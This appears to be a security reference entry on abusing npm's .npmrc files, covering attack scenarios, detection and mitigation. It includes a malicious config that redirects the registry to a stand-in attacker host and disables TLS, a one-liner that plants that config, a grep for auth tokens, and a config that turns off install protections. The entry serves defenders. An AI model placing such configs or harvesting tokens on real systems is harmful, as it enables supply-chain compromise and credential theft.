.npmrc Manipulation

npm Configuration Abuse medium Linux macOS Windows
.npmrc files control npm behavior including registry URLs, authentication, TLS checks, and install-policy settings. An attacker with write access to a project or user-level .npmrc can redirect package resolution, weaken transport checks, or override npm 12's safer dependency defaults. npm loads configuration from project, user, global, and built-in locations with defined precedence, so defenders need to inspect the effective configuration as well as individual files. [1][2][3][4]

Prerequisites

  • Write access to the target filesystem (project directory, user home directory, or global npm config)
  • Target must subsequently run npm install or similar npm commands
[1][2][3][4]

Attack Scenarios

Redirecting Registry to a Malicious Server

An attacker with write access to the project directory places a .npmrc file that points the npm registry to an attacker-controlled server. All subsequent npm install commands will fetch trojanized packages from the malicious registry instead of the official one.

[1][2][3][4]
Malicious .npmrc redirecting the default registry
registry=https://evil-registry.example.com/
strict-ssl=false
Dropping the malicious .npmrc into a project
echo -e "registry=https://evil-registry.example.com/\nstrict-ssl=false" > /path/to/project/.npmrc

Stealing npm Auth Tokens

If a developer's ~/.npmrc contains an auth token for publishing packages, an attacker with read access to the home directory can extract the token and use it to publish malicious versions of the developer's packages.

[1][2][3][4]
Extracting auth tokens from ~/.npmrc
cat ~/.npmrc | grep '_authToken'
# Output: //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXX

Disabling Security Controls via .npmrc

An attacker modifies .npmrc to bypass npm 12's dependency script policy, allow Git or remote URL dependencies, disable strict TLS verification, and suppress audit submission. These settings broaden the code and sources an install may accept.

[1][2][3][4]
.npmrc that disables security protections
dangerously-allow-all-scripts=true
allow-git=all
allow-remote=all
strict-ssl=false
audit=false

Detection

Audit .npmrc Files Across All Locations

Regularly check for .npmrc files in project directories, user home directories, and global npm config paths. Verify that registry URLs point to expected registries and that no unexpected auth tokens are present.

[1][2][3][4]
npm config list -l 2>/dev/null | grep -E 'registry|_authToken|strict-ssl|ignore-scripts|allow-scripts|allow-git|allow-remote'
find / -name '.npmrc' -type f 2>/dev/null | head -20

Monitor .npmrc Changes in Version Control

Ensure .npmrc files in project repositories are tracked in version control and changes are reviewed. Use CI/CD checks to validate that the registry URL has not been tampered with.

[1][2][3][4]
git diff HEAD -- .npmrc

Mitigation

  • Track .npmrc files in version control and require code review for any changes to registry or auth settings
  • Never store auth tokens in project-level .npmrc files; use environment variables or npm login sessions instead
  • Enforce strict-ssl=true and verify registry URLs in CI/CD pipeline pre-checks
  • Reject dangerously-allow-all-scripts=true and broad allow-git or allow-remote settings in managed configurations
  • Use file integrity monitoring to detect unauthorized changes to .npmrc in developer home directories
  • Restrict filesystem write access on CI/CD build agents to prevent unauthorized .npmrc placement
[1][2][3][4]

References